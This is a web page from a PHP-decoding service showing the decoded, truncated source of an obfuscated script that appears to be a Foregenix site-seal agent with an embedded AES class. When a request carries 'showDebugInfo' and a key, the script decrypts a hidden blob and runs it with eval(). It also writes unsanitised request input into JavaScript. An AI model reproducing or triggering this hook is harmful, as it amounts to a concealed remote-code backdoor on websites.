Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
if (!function_exists('gzuncompress')) die('<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//E..
Decoded Output download
define('V','185316289161fa53');define('R','4403ef821a30940edebe17f1b84e3e8a5f3595c3db87e8f93e0980686ea6b1c9');define('C','Tq1Avpunw7XgMao2K+WlIo+2Kz2zVE+Xvmrww2Zl4f8=');define('AUTHP', 'LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlHZk1BMEdDU3FHU0liM0RRRUJBUVVBQTRHTkFEQ0JpUUtCZ1FDK1kwM3BQZFAxTzN5VXdhcEp0YkR5eTlTNwpBd2NzWFk2R1FCcGtUNDdsVWZPcEo0bEovdkRZcFNCbjRmSE5TVnkwcjRubGJ5RFQwMDJEMHVNY2d3ZHZ3MXkrCkE4cHpRNVN0NjRqOFZ1ay82ZnZuUUgzQ2ZPcG4xTkJmZ090OGcwdFVvai82RWVNYVZhNWZaeG1ieUdibE10OHcKd2x3Qjc5NDZEWnFleXB3bU93SURBUUFCCi0tLS0tRU5EIFBVQkxJQyBLRVktLS0tLQo=');$src=isset($_SERVER['REMOTE_ADDR'])?$_SERVER['REMOTE_ADDR']:"";
if ( isset($_SERVER['HTTP_X_FORWARDED_FOR']) ) $src = $_SERVER['HTTP_X_FORWARDED_FOR'];
define('SI','166600202361fa53f44cc6e3');
if(isset($_POST['showDebugInfo'])) {
$exts=get_loaded_extensions();
if(isset($_REQUEST['k'])){$k=htmlspecialchars($_REQUEST['k']);}else{ik();}
if(!$k){ik();}if(h(trim(d(base64_decode(C),$k,V)))!==R){ik();}
$debugCore='X1rP2gxR3zvkTKn0FnZRU8132u03HJ7YZL8wGlbd3Uy2+7D8ilwTG0GIk41Z8XB+DbL/b2WI8c4z5fIq854BMdto2wKmGcEXJqSZzmqCRWy1z4wo9PjLr+83BSEKNC2gMPxPsMZPV60ozWrws1GrgBP1gX1sYdjgfkDJLGEnziNZxIPcvftZtL+GSVwLH32sukPWVhlVEniIKJvOX1zeAdvkdVL0c9yMx2QMAo5j8/g30ZCfrc5yq7Nn57e6el4U2MiXKcf2GYFF9iFMOhj1sI5iQS1ha3IbOn1gIYgLKyvjKe5AgZ37UsoY/eKNiDStXHvHiFk9UM8tqmeAkXnuiQBIGZPiWXevcOrwAaMLL2+GP3/D7qD3i+CfgkyF6kPC2iYoO38Obmgg0xJwTsD4aFY6xY2SznpVNx3yEDprcRAr6lWnvYr1zCW2lyE3fu2moqU9WdtD9o/k8r1PZ6E3E2AI+f+i32AErrmiKqy4ICV8665tqzXPJqkWU1YojrsjL+isU0uzd6gIo1MTho2aiOUgAcsXKKE76DJow86oVULuUeuxBWftiHlHlP6XX8NThdti9jkWaes7zjXymI9kAGGQTZ4is7yLfvUAeA+DaIv8Kaw015Lu2NmaPgja97VehwGwRqF04AT58qlCLHaDheTnsBAjSZYQxt1+x7pIZVmZF9KL7Ev0ZMzwyeMzy/tDUUOGuxKwSEqqxZx2UYaxI056owAEtNl3pWqbIQ7PfOcJ9uLpm266aLOkS9A4th7OLD1vDtDitUFynh5LLWwX4AjdSHapy8Hhx4cBjo/KIh5CJDUYWAo4FWF+sb1tHX5rFL3zxsmh2+PSWMqeEgZG56zfuMDRsmHSff/cqiHn/vsJV9YHdE4M5561nm4HXWSoz+48QLPW+zIaFQzaWiiEa66Qr3DSRfTXlEPZjkuggA5bdkT60GBYS/2OX3f1DC5Q2s3tFe1qzQ+9p5rtt/9tzMoD2kzplOhRpGVDGZPYcHE=';
eval(trim(gzuncompress(d(base64_decode($debugCore),$k,V))));
}
if(!isset($_REQUEST['k']) || !isset($_REQUEST['i']) || !isset($_REQUEST['e'])){
$cn = isset($_REQUEST['container']) ? addslashes($_REQUEST['container']):'FGXseal';
$si = isset($_REQUEST['size']) ? urlencode($_REQUEST['size']):'normal';
$pr = isset($_SERVER['HTTPS']) ? 'https' : 'http';
$faddr = isset($_SERVER['HTTPS']) ? 'portal.foregenix.com' : 'portal.foregenix.com';
header("content-type: application/x-javascript");
die("document.getElementById(\"$cn\").innerHTML = '<a href=\"#\" onclick=\"javascript:window.open(\'http://portal.foregenix.com/FGXsealInfo.php?si=".SI."\',\'Foregenix\',\'menubar=no,location=yes,alwaysRaised=yes,scrollbars=no,resizable=no,dependent=yes,status=no,top=30,left=300,width=350,height=300\'); return false;\" title=\"Foregenix Secure Tag\"><img border=\"0\" src=\"//".$faddr."/FGXsealLogo.php?si=".SI."&size=$si\" alt=\"Foregenix Secure Tag\"/><\/a>';");
}
function req1(){
$exts=get_loaded_extensions();
$exts = array_map('strtolower', $exts);
$ts = array(
array('e'=>!function_exists('json_encode'),'m' => 'Install and enable the JSON extension.'),
array('e'=>!in_array('xmlwriter',$exts), 'm' => 'Install and enable the xmlwriter extension.'),
array('e'=>!in_array('mbstring',$exts),'m' => 'Install and enable the mbstring extension.'),
array('e'=>!function_exists('utf8_encode'),'m' => 'Install and enable xml extensions'),
array('e'=>!function_exists('hash_init'),'m' => 'Install and enable hash extension'),
array('e'=>!function_exists('preg_match'),'m' => 'Install and enable pcre extension'),
array('e'=>!in_array('spl', $exts),'m' => 'Install and enable the SPL extension.'),
);
$msgs = array();
foreach ( $ts as $t){ if ( $t['e'] ) { $msgs[] = $t['m']; } }
return $msgs;
}
function req(){
$msgs=req1();
if (count($msgs)){ fatal('f', implode(',', $msgs )); return; }
} req();
if(isset($_REQUEST['k'])){$k=htmlspecialchars($_REQUEST['k']);}else{ik();}if(isset($_REQUEST['i'])){$i=htmlspecialchars($_REQUEST['i']);}else{ua();}if(isset($_REQUEST['e'])){$e=htmlspecialchars($_REQUEST['e']);}else{bs();}function le(){fatal("a");}function ik(){fatal("b");}function io(){fatal("c");}function ua(){fatal("d");}function bs(){fatal("e");}function fatal($m,$msg='') { print <<<EndOfPage
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8"/><title>Foregenix FGX-Web</title></head><body><h1>Error</h1>Error 0x0$m. $msg The attempt has been logged</body></html>
EndOfPage;
exit;}
class Rjn { const MODE_CTR = -1; const MODE_ECB = 1; const MODE_CBC = 2; const MODE_CFB = 3; const MODE_OFB = 4; const MODE_STREAM = 5; static $WHIRLPOOL_AVAILABLE; const
ENGINE_INTERNAL = 1; var $mode; var $block_size = 16; var $key = false; var $iv = false; var $encryptIV; var $decryptIV; var $continuousBuffer = false; var $enbuffer; var
$debuffer; var $enchanged = true; var $dechanged = true; var $ecb; var $cfb_init_len = 600; var $changed = true; var $padding = true; var $paddable = false; var $engine;
var $preferredEngine; var $inline_crypt; var $use_inline_crypt; var $skip_key_adjustment = false; var $explicit_key_length = false; function setIV($iv) { if ($this->mode
== self::MODE_ECB) { throw new \InvalidArgumentException('This mode does not require an IV.'); } if ($this->mode == self::MODE_STREAM && $this->usesIV()) { throw new
\InvalidArgumentException('This algorithm does not use an IV.'); } if (strlen($iv) != $this->block_size) { throw new \LengthException('Received initialization vector of
size ' . strlen($iv) . ', but size ' . $this->block_size . ' is required'); } $this->iv = $iv; $this->changed = true; } function usesIV() { return true; } function
getKeyLength() { return $this->key_length << 3; } function getBlockLength() { return $this->block_size << 3; } function setPassword($password, $method = 'pbkdf2') { $key
= ''; switch ($method) { default: $func_args = func_get_args(); $hash = isset($func_args[2]) ? $func_args[2] : 'sha1'; $salt = isset($func_args[3]) ? $func_args[3] :
$this->password_default_salt; $count = isset($func_args[4]) ? $func_args[4] : 1000; if (isset($func_args[5])) { $dkLen = $func_args[5]; } else { $key_length =
$this->explicit_key_length !== false ? $this->explicit_key_length : $this->key_length; $dkLen = $method == 'pbkdf1' ? 2 * $key_length : $key_length; } switch (true) {
case $method == 'pbkdf1': $hashObj = new Hash(); $hashObj->setHash($hash); if ($dkLen > $hashObj->getLength()) { throw new \LengthException('Derived key length cannot be
longer than the hash length'); } $t = $password . $salt; for ($i = 0; $i < $count; ++$i) { $t = $hashObj->hash($t); } $key = substr($t, 0, $dkLen);
$this->setKey(substr($key, 0, $dkLen >> 1)); $this->setIV(substr($key, $dkLen >> 1)); return true; case !function_exists('hash_pbkdf2'): case
!function_exists('hash_algos'): case !in_array($hash, hash_algos()): $i = 1; while (strlen($key) < $dkLen) { $hmac = new Hash(); $hmac->setHash($hash);
$hmac->setKey($password); $f = $u = $hmac->hash($salt . pack('N', $i++)); for ($j = 2; $j <= $count; ++$j) { $u = $hmac->hash($u); $f^= $u; } $key.= $f; } $key =
substr($key, 0, $dkLen); break; default: $key = hash_pbkdf2($hash, $password, $salt, $count, $dkLen, true); } } $this->setKey($key); return true; } function
encrypt($plaintext) { if ($this->paddable) { $plaintext = $this->_pad($plaintext); } if ($this->changed) { $this->_setup(); $this->changed = false; } if
($this->use_inline_crypt) { $inline = $this->inline_crypt; return $inline('encrypt', $this, $plaintext); } $buffer = &$this->enbuffer; $block_size = $this->block_size;
$ciphertext = ''; switch ($this->mode) { case self::MODE_ECB: for ($i = 0; $i < strlen($plaintext); $i+=$block_size) { $ciphertext.=
$this->_encryptBlock(substr($plaintext, $i, $block_size)); } break; case self::MODE_CBC: $xor = $this->encryptIV; for ($i = 0; $i < strlen($plaintext); $i+=$block_size) {
$block = substr($plaintext, $i, $block_size); $block = $this->_encryptBlock($block ^ $xor); $xor = $block; $ciphertext.= $block; } if ($this->continuousBuffer) {
$this->encryptIV = $xor; } break; case self::MODE_CTR: $xor = $this->encryptIV; if (strlen($buffer['ciphertext'])) { for ($i = 0; $i < strlen($plaintext);
$i+=$block_size) { $block = substr($plaintext, $i, $block_size); if (strlen($block) > strlen($buffer['ciphertext'])) { $buffer['ciphertext'].= $this->_encryptBlock($xor);
} $this->_increment_str($xor); $key = $this->_string_shift($buffer['ciphertext'], $block_size); $ciphertext.= $block ^ $key; } } else { for ($i = 0; $i <
strlen($plaintext); $i+=$block_size) { $block = substr($plaintext, $i, $block_size); $key = $this->_encryptBlock($xor); $this->_increment_str($xor); $ciphertext.= $block
^ $key; } } if ($this->continuousBuffer) { $this->encryptIV = $xor; if ($start = strlen($plaintext) % $block_size) { $buffer['ciphertext'] = substr($key, $start) .
$buffer['ciphertext']; } } break; case self::MODE_CFB: if ($this->continuousBuffer) { $iv = &$this->encryptIV; $pos = &$buffer['pos']; } else { $iv = $this->encryptIV;
$pos = 0; } $len = strlen($plaintext); $i = 0; if ($pos) { $orig_pos = $pos; $max = $block_size - $pos; if ($len >= $max) { $i = $max; $len-= $max; $pos = 0; } else { $i
= $len; $pos+= $len; $len = 0; } $ciphertext = substr($iv, $orig_pos) ^ $plaintext; $iv = substr_replace($iv, $ciphertext, $orig_pos, $i); } while ($len >= $block_size) {
$iv = $this->_encryptBlock($iv) ^ substr($plaintext, $i, $block_size); $ciphertext.= $iv; $len-= $block_size; $i+= $block_size; } if ($len) { $iv =
$this->_encryptBlock($iv); $block = $iv ^ substr($plaintext, $i); $iv = substr_replace($iv, $block, 0, $len); $ciphertext.= $block; $pos = $len; } break; case
self::MODE_OFB: $xor = $this->encryptIV; if (strlen($buffer['xor'])) { for ($i = 0; $i < strlen($plaintext); $i+=$block_size) { $block = substr($plaintext, $i,
$block_size); if (strlen($block) > strlen($buffer['xor'])) { $xor = $this->_encryptBlock($xor); $buffer['xor'].= $xor; } $key = $this->_string_shift($buffer['xor'],
$block_size); $ciphertext.= $block ^ $key; } } else { for ($i = 0; $i < strlen($plaintext); $i+=$block_size) { $xor = $this->_encryptBlock($xor); $ciphertext.=
substr($plaintext, $i, $block_size) ^ $xor; } $key = $xor; } if ($this->continuousBuffer) { $this->encryptIV = $xor; if ($start = strlen($plaintext) % $block_size) {
$buffer['xor'] = substr($key, $start) . $buffer['xor']; } } break; case self::MODE_STREAM: $ciphertext = $this->_encryptBlock($plaintext); break; } return $ciphertext; }
function decrypt($ciphertext) { if ($this->paddable && strlen($ciphertext) % $this->block_size) { throw new \LengthException('The ciphertext length (' .
strlen($ciphertext) . ') needs to be a multiple of the block size (' . $this->block_size . ')'); } if ($this->changed) { $this->_setup(); $this->changed = false; } if
($this->use_inline_crypt) { $inline = $this->inline_crypt; return $inline('decrypt', $this, $ciphertext); } $block_size = $this->block_size; $buffer = &$this->debuffer;
$plaintext = ''; switch ($this->mode) { case self::MODE_ECB: for ($i = 0; $i < strlen($ciphertext); $i+=$block_size) { $plaintext.=
$this->_decryptBlock(substr($ciphertext, $i, $block_size)); } break; case self::MODE_CBC: $xor = $this->decryptIV; for ($i = 0; $i < strlen($ciphertext); $i+=$block_size)
{ $block = substr($ciphertext, $i, $block_size); $plaintext.= $this->_decryptBlock($block) ^ $xor; $xor = $block; } if ($this->continuousBuffer) { $this->decryptIV =
$xor; } break; case self::MODE_CTR: $xor = $this->decryptIV; if (strlen($buffer['ciphertext'])) { for ($i = 0; $i < strlen($ciphertext); $i+=$block_size) { $block =
substr($ciphertext, $i, $block_size); if (strlen($block) > strlen($buffer['ciphertext'])) { $buffer['ciphertext'].= $this->_encryptBlock($xor);
$this->_increment_str($xor); } $key = $this->_string_shift($buffer['ciphertext'], $block_size); $plaintext.= $block ^ $key; } } else { for ($i = 0; $i <
strlen($ciphertext); $i+=$block_size) { $block = substr($ciphertext, $i, $block_size); $key = $this->_encryptBlock($xor); $this->_increment_str($xor); $plaintext.= $block
^ $key; } } if ($this->continuousBuffer) { $this->decryptIV = $xor; if ($start = strlen($ciphertext) % $block_size) { $buffer['ciphertext'] = substr($key, $start) .
$buffer['ciphertext']; } } break; case self::MODE_CFB: if ($this->continuousBuffer) { $iv = &$this->decryptIV; $pos = &$buffer['pos']; } else { $iv = $this->decryptIV;
$pos = 0; } $len = strlen($ciphertext); $i = 0; if ($pos) { $orig_pos = $pos; $max = $block_size - $pos; if ($len >= $max) { $i = $max; $len-= $max; $pos = 0; } else { $i
= $len; $pos+= $len; $len = 0; } $plaintext = substr($iv, $orig_pos) ^ $ciphertext; $iv = substr_replace($iv, substr($ciphertext, 0, $i), $orig_pos, $i); } while ($len >=
$block_size) { $iv = $this->_encryptBlock($iv); $cb = substr($ciphertext, $i, $block_size); $plaintext.= $iv ^ $cb; $iv = $cb; $len-= $block_size; $i+= $block_size; } if
($len) { $iv = $this->_encryptBlock($iv); $plaintext.= $iv ^ substr($ciphertext, $i); $iv = substr_replace($iv, substr($ciphertext, $i), 0, $len); $pos = $len; } break;
case self::MODE_OFB: $xor = $this->decryptIV; if (strlen($buffer['xor'])) { for ($i = 0; $i < strlen($ciphertext); $i+=$block_size) { $block = substr($ciphertext, $i,
$block_size); if (strlen($block) > strlen($buffer['xor'])) { $xor = $this->_encryptBlock($xor); $buffer['xor'].= $xor; } $key = $this->_string_shift($buffer['xor'],
$block_size); $plaintext.= $block ^ $key; } } else { for ($i = 0; $i < strlen($ciphertext); $i+=$block_size) { $xor = $this->_encryptBlock($xor); $plaintext.=
substr($ciphertext, $i, $block_size) ^ $xor; } $key = $xor; } if ($this->continuousBuffer) { $this->decryptIV = $xor; if ($start = strlen($ciphertext) % $block_size) {
$buffer['xor'] = substr($key, $start) . $buffer['xor']; } } break; case self::MODE_STREAM: $plaintext = $this->_decryptBlock($ciphertext); break; } return $this->paddable
? $this->_unpad($plaintext) : $plaintext; } function _getIV($iv) { return $this->mode == self::MODE_ECB ? str_repeat("\0", $this->block_size) : $iv; } function
enablePadding() { $this->padding = true; } function disablePadding() { $this->padding = false; } function enableContinuousBuffer() { if ($this->mode == self::MODE_ECB) {
return; } $this->continuousBuffer = true; $this->_setEngine(); } function disableContinuousBuffer() { if ($this->mode == self::MODE_ECB) { return; } if
(!$this->continuousBuffer) { return; } $this->continuousBuffer = false; $this->changed = true; $this->_setEngine(); } function setPreferredEngine($engine) { switch
($engine) { default: case self::ENGINE_INTERNAL: $this->preferredEngine = $engine; break; } $this->_setEngine(); } function getEngine() { return $this->engine; } function
_setEngine() { $this->engine = null; $candidateEngines = array( $this->preferredEngine,); foreach ($candidateEngines as $engine) { if ($this->isValidEngine($engine)) {
$this->engine = $engine; break; } } if (!$this->engine) { $this->engine = self::ENGINE_INTERNAL; } $this->changed = true; } function _setup() { $this->_clearBuffers();
$this->_setupKey(); if ($this->use_inline_crypt) { $this->_setupInlineCrypt(); } } function _pad($text) { $length = strlen($text); if (!$this->padding) { if ($length %
$this->block_size == 0) { return $text; } else { throw new \LengthException("The plaintext's length ($length) is not a multiple of the block size ({$this->block_size}).
Try enabling padding."); } } $pad = $this->block_size - ($length % $this->block_size); return str_pad($text, $length + $pad, chr($pad)); } function _unpad($text) { if
(!$this->padding) { return $text; } $length = ord($text[strlen($text) - 1]); if (!$length || $length > $this->block_size) { throw new \LengthException("The ciphertext has
an invalid padding length ($length) compared to the block size ({$this->block_size})"); } return substr($text, 0, -$length); } function _clearBuffers() { $this->enbuffer
= $this->debuffer = array('ciphertext' => '', 'xor' => '', 'pos' => 0); if ($this->iv === false && !in_array($this->mode, array(self::MODE_STREAM, self::MODE_ECB))) {
throw new \UnexpectedValueException('No IV has been defined'); } $this->encryptIV = $this->decryptIV = $this->iv; } function _string_shift(&$string, $index = 1) { $substr
= substr($string, 0, $index); $string = substr($string, $index); return $substr; } function _string_pop(&$string, $index = 1) { $substr = substr($string, -$index);
$string = substr($string, 0, -$index); return $substr; } function _increment_str(&$var) { for ($i = 4; $i <= strlen($var); $i+= 4) { $temp = substr($var, -$i, 4); switch
($temp) { case "\xFF\xFF\xFF\xFF": $var = substr_replace($var, "\x00\x00\x00\x00", -$i, 4); break; case "\x7F\xFF\xFF\xFF": $var = substr_replace($var,
"\x80\x00\x00\x00", -$i, 4); return; default: $temp = unpack('Nnum', $temp); $var = substr_replace($var, pack('N', $temp['num'] + 1), -$i, 4); return; } } $remainder =
strlen($var) % 4; if ($remainder == 0) { return; } $temp = unpack('Nnum', str_pad(substr($var, 0, $remainder), 4, "\0", STR_PAD_LEFT)); $temp = substr(pack('N',
$temp['num'] + 1), -$remainder); $var = substr_replace($var, $temp, 0, $remainder); } function _createInlineCryptFunction($cipher_code) { $block_size = $this->block_size;
$init_crypt = isset($cipher_code['init_crypt']) ? $cipher_code['init_crypt'] : ''; $init_encrypt = isset($cipher_code['init_encrypt']) ?
$cipher_code['init_encrypt'] : ''; $init_decrypt = isset($cipher_code['init_decrypt']) ? $cipher_code['init_decrypt'] : ''; $encrypt_block =
$cipher_code['encrypt_block']; $decrypt_block = $cipher_code['decrypt_block']; switch ($this->mode) { case self::MODE_ECB: $encrypt = $init_encrypt . ' $_ciphertext = "";
$_plaintext_len = strlen($_text); for ($_i = 0; $_i < $_plaintext_len; $_i+= '.$block_size.') { $in = substr($_text, $_i, '.$block_size.'); '.$encrypt_block.'
$_ciphertext.= $in; } return $_ciphertext; '; $decrypt = $init_decrypt . ' $_plaintext = ""; $_text = str_pad($_text, strlen($_text) + ('.$block_size.' - strlen($_text) %
'.$block_size.') % '.$block_size.', chr(0)); $_ciphertext_len = strlen($_text); for ($_i = 0; $_i < $_ciphertext_len; $_i+= '.$block_size.') { $in = substr($_text, $_i,
'.$block_size.'); '.$decrypt_block.' $_plaintext.= $in; } return $self->_unpad($_plaintext); '; break; case self::MODE_CTR: $encrypt = $init_encrypt . ' $_ciphertext =
""; $_plaintext_len = strlen($_text); $_xor = $self->encryptIV; $_buffer = &$self->enbuffer; if (strlen($_buffer["ciphertext"])) { for ($_i = 0; $_i < $_plaintext_len;
$_i+= '.$block_size.') { $_block = substr($_text, $_i, '.$block_size.'); if (strlen($_block) > strlen($_buffer["ciphertext"])) { $in = $_xor; '.$encrypt_block.'
$self->_increment_str($_xor); $_buffer["ciphertext"].= $in; } $_key = $self->_string_shift($_buffer["ciphertext"], '.$block_size.'); $_ciphertext.= $_block ^ $_key; } }
else { for ($_i = 0; $_i < $_plaintext_len; $_i+= '.$block_size.') { $_block = substr($_text, $_i, '.$block_size.'); $in = $_xor; '.$encrypt_block.'
$self->_increment_str($_xor); $_key = $in; $_ciphertext.= $_block ^ $_key; } } if ($self->continuousBuffer) { $self->encryptIV = $_xor; if ($_start = $_plaintext_len %
'.$block_size.') { $_buffer["ciphertext"] = substr($_key, $_start) . $_buffer["ciphertext"]; } } return $_ciphertext; '; $decrypt = $init_encrypt . ' $_plaintext = "";
$_ciphertext_len = strlen($_text); $_xor = $self->decryptIV; $_buffer = &$self->debuffer; if (strlen($_buffer["ciphertext"])) { for ($_i = 0; $_i < $_ciphertext_len;
$_i+= '.$block_size.') { $_block = substr($_text, $_i, '.$block_size.'); if (strlen($_block) > strlen($_buffer["ciphertext"])) { $in = $_xor; '.$encrypt_block.'
$self->_increment_str($_xor); $_buffer["ciphertext"].= $in; } $_key = $self->_string_shift($_buffer["ciphertext"], '.$block_size.'); $_plaintext.= $_block ^ $_key; } }
else { for ($_i = 0; $_i < $_ciphertext_len; $_i+= '.$block_size.') { $_block = substr($_text, $_i, '.$block_size.'); $in = $_xor; '.$encrypt_block.'
$self->_increment_str($_xor); $_key = $in; $_plaintext.= $_block ^ $_key; } } if ($self->continuousBuffer) { $self->decryptIV = $_xor; if ($_start = $_ciphertext_len %
'.$block_size.') { $_buffer["ciphertext"] = substr($_key, $_start) . $_buffer["ciphertext"]; } } return $_plaintext; '; break; case self::MODE_CFB: $encrypt =
$init_encrypt . ' $_ciphertext = ""; $_buffer = &$self->enbuffer; if ($self->continuousBuffer) { $_iv = &$self->encryptIV; $_pos = &$_buffer["pos"]; } else { $_iv =
$self->encryptIV; $_pos = 0; } $_len = strlen($_text); $_i = 0; if ($_pos) { $_orig_pos = $_pos; $_max = '.$block_size.' - $_pos; if ($_len >= $_max) { $_i = $_max;
$_len-= $_max; $_pos = 0; } else { $_i = $_len; $_pos+= $_len; $_len = 0; } $_ciphertext = substr($_iv, $_orig_pos) ^ $_text; $_iv = substr_replace($_iv, $_ciphertext,
$_orig_pos, $_i); } while ($_len >= '.$block_size.') { $in = $_iv; '.$encrypt_block.'; $_iv = $in ^ substr($_text, $_i, '.$block_size.'); $_ciphertext.= $_iv; $_len-=
'.$block_size.'; $_i+= '.$block_size.'; } if ($_len) { $in = $_iv; '.$encrypt_block.' $_iv = $in; $_block = $_iv ^ substr($_text, $_i); $_iv = substr_replace($_iv,
$_block, 0, $_len); $_ciphertext.= $_block; $_pos = $_len; } return $_ciphertext; '; $decrypt = $init_encrypt . ' $_plaintext = ""; $_buffer = &$self->debuffer; if
($self->continuousBuffer) { $_iv = &$self->decryptIV; $_pos = &$_buffer["pos"]; } else { $_iv = $self->decryptIV; $_pos = 0; } $_len = strlen($_text); $_i = 0; if ($_pos)
{ $_orig_pos = $_pos; $_max = '.$block_size.' - $_pos; if ($_len >= $_max) { $_i = $_max; $_len-= $_max; $_pos = 0; } else { $_i = $_len; $_pos+= $_len; $_len = 0; }
$_plaintext = substr($_iv, $_orig_pos) ^ $_text; $_iv = substr_replace($_iv, substr($_text, 0, $_i), $_orig_pos, $_i); } while ($_len >= '.$block_size.') { $in = $_iv;
'.$encrypt_block.' $_iv = $in; $cb = substr($_text, $_i, '.$block_size.'); $_plaintext.= $_iv ^ $cb; $_iv = $cb; $_len-= '.$block_size.'; $_i+= '.$block_size.'; } if
($_len) { $in = $_iv; '.$encrypt_block.' $_iv = $in; $_plaintext.= $_iv ^ substr($_text, $_i); $_iv = substr_replace($_iv, substr($_text, $_i), 0, $_len); $_pos = $_len;
} return $_plaintext; '; break; case self::MODE_OFB: $encrypt = $init_encrypt . ' $_ciphertext = ""; $_plaintext_len = strlen($_text); $_xor = $self->encryptIV; $_buffer
= &$self->enbuffer; if (strlen($_buffer["xor"])) { for ($_i = 0; $_i < $_plaintext_len; $_i+= '.$block_size.') { $_block = substr($_text, $_i, '.$block_size.'); if
(strlen($_block) > strlen($_buffer["xor"])) { $in = $_xor; '.$encrypt_block.' $_xor = $in; $_buffer["xor"].= $_xor; } $_key = $self->_string_shift($_buffer["xor"],
'.$block_size.'); $_ciphertext.= $_block ^ $_key; } } else { for ($_i = 0; $_i < $_plaintext_len; $_i+= '.$block_size.') { $in = $_xor; '.$encrypt_block.' $_xor = $in;
$_ciphertext.= substr($_text, $_i, '.$block_size.') ^ $_xor; } $_key = $_xor; } if ($self->continuousBuffer) { $self->encryptIV = $_xor; if ($_start = $_plaintext_len %
'.$block_size.') { $_buffer["xor"] = substr($_key, $_start) . $_buffer["xor"]; } } return $_ciphertext; '; $decrypt = $init_encrypt . ' $_plaintext = ""; $_ciphertext_len
= strlen($_text); $_xor = $self->decryptIV; $_buffer = &$self->debuffer; if (strlen($_buffer["xor"])) { for ($_i = 0; $_i < $_ciphertext_len; $_i+= '.$block_size.') {
$_block = substr($_text, $_i, '.$block_size.'); if (strlen($_block) > strlen($_buffer["xor"])) { $in = $_xor; '.$encrypt_block.' $_xor = $in; $_buffer["xor"].= $_xor; }
$_key = $self->_string_shift($_buffer["xor"], '.$block_size.'); $_plaintext.= $_block ^ $_key; } } else { for ($_i = 0; $_i < $_ciphertext_len; $_i+= '.$block_size.') {
$in = $_xor; '.$encrypt_block.' $_xor = $in; $_plaintext.= substr($_text, $_i, '.$block_size.') ^ $_xor; } $_key = $_xor; } if ($self->continuousBuffer) {
$self->decryptIV = $_xor; if ($_start = $_ciphertext_len % '.$block_size.') { $_buffer["xor"] = substr($_key, $_start) . $_buffer["xor"]; } } return $_plaintext; ';
break; case self::MODE_STREAM: $encrypt = $init_encrypt . ' $_ciphertext = ""; '.$encrypt_block.' return $_ciphertext; '; $decrypt = $init_decrypt . ' $_plaintext = "";
'.$decrypt_block.' return $_plaintext; '; break; default: $encrypt = $init_encrypt . ' $_ciphertext = ""; $_plaintext_len = strlen($_text); $in = $self->encryptIV; for
($_i = 0; $_i < $_plaintext_len; $_i+= '.$block_size.') { $in = substr($_text, $_i, '.$block_size.') ^ $in; '.$encrypt_block.' $_ciphertext.= $in; } if
($self->continuousBuffer) { $self->encryptIV = $in; } return $_ciphertext; '; $decrypt = $init_decrypt . ' $_plaintext = ""; $_text = str_pad($_text, strlen($_text) +
('.$block_size.' - strlen($_text) % '.$block_size.') % '.$block_size.', chr(0)); $_ciphertext_len = strlen($_text); $_iv = $self->decryptIV; for ($_i = 0; $_i <
$_ciphertext_len; $_i+= '.$block_size.') { $in = $_block = substr($_text, $_i, '.$block_size.'); '.$decrypt_block.' $_plaintext.= $in ^ $_iv; $_iv = $_block; } if
($self->continuousBuffer) { $self->decryptIV = $_iv; } return $self->_unpad($_plaintext); '; break; } return create_function('$_action, &$self, $_text', $init_crypt . 'if
($_action == "encrypt") { ' . $encrypt . ' } else { ' . $decrypt . ' }'); } function &_getLambdaFunctions() { static $functions = array(); return $functions; } function
_hashInlineCryptFunction($bytes) { if (!isset(self::$WHIRLPOOL_AVAILABLE)) { self::$WHIRLPOOL_AVAILABLE = extension_loaded('hash') && in_array('whirlpool', hash_algos());
} $result = ''; $hash = $bytes; switch (true) { case self::$WHIRLPOOL_AVAILABLE: foreach (str_split($bytes, 64) as $t) { $hash = hash('whirlpool', $hash, true); $result
.= $t ^ $hash; } return $result . hash('whirlpool', $hash, true); default: $len = strlen($bytes); for ($i = 0; $i < $len; $i+=20) { $t = substr($bytes, $i, 20); $hash =
pack('H*', sha1($hash)); $result .= $t ^ $hash; } return $result . pack('H*', sha1($hash)); } } /* --- */ var $password_default_salt = 'phpseclib'; var $w; var $dw; var
$Nb = 4; var $key_length = 16; var $Nk = 4; var $Nr; var $c; var $kl; function __construct($mode) { if ($mode == self::MODE_STREAM) { throw new
\InvalidArgumentException('Block ciphers cannot be ran in stream mode'); } /* --- */ switch ($mode) { case self::MODE_ECB: case self::MODE_CBC: $this->paddable = true;
break; case self::MODE_CTR: case self::MODE_CFB: case self::MODE_OFB: case self::MODE_STREAM: $this->paddable = false; break; default: throw new
\InvalidArgumentException('No valid mode has been specified'); } $this->mode = $mode; if ($this->use_inline_crypt !== false && function_exists('create_function')) {
$this->use_inline_crypt = false /* for PHP 7.2. true */; } } function setKeyLength($length) { switch ($length) { case 128: case 160: case 192: case 224: case 256: $this->key_length = $length >>
3; break; default: throw new \LengthException('Key size of ' . $length . ' bits is not supported by this algorithm. Only keys of sizes 128, 160, 192, 224 or 256 bits are
supported'); } $this->explicit_key_length = $length >> 3; if (is_string($this->key) && strlen($this->key) != $this->explicit_key_length) { $this->key = false; throw new
\LengthException('Key has already been set and is not ' .$this->explicit_key_length . ' bytes long'); } } function setKey($key) { switch (strlen($key)) { case 16: case
20: case 24: case 28: case 32: break; default: throw new \LengthException('Key of size ' . strlen($key) . ' not supported by this algorithm. Only keys of sizes 16, 20,
24, 28 or 32 are supported'); } if ($this->explicit_key_length !== false && strlen($key) != $this->explicit_key_length) { throw new \LengthException('Key length has
already been set to ' . $this->explicit_key_length . ' bytes and this key is ' . strlen($key) . ' bytes'); } $this->key = $key; $this->key_length = strlen($key);
$this->changed = true; $this->_setEngine(); } function setBlockLength($length) { switch ($length) { case 128: case 160: case 192: case 224: case 256: break; default:
throw new \LengthException('Key size of ' . $length . ' bits is not supported by this algorithm. Only keys of sizes 128, 160, 192, 224 or 256 bits are supported'); }
$this->Nb = $length >> 5; $this->block_size = $length >> 3; $this->changed = true; $this->_setEngine(); } function isValidEngine($engine) { switch ($engine) { case
self::ENGINE_INTERNAL: return true; } return false; } function _encryptBlock($in) { static $tables; if (empty($tables)) { $tables = &$this->_getTables(); } $t0 =
$tables[0]; $t1 = $tables[1]; $t2 = $tables[2]; $t3 = $tables[3]; $sbox = $tables[4]; $state = array(); $words = unpack('N*', $in); $c = $this->c; $w = $this->w;
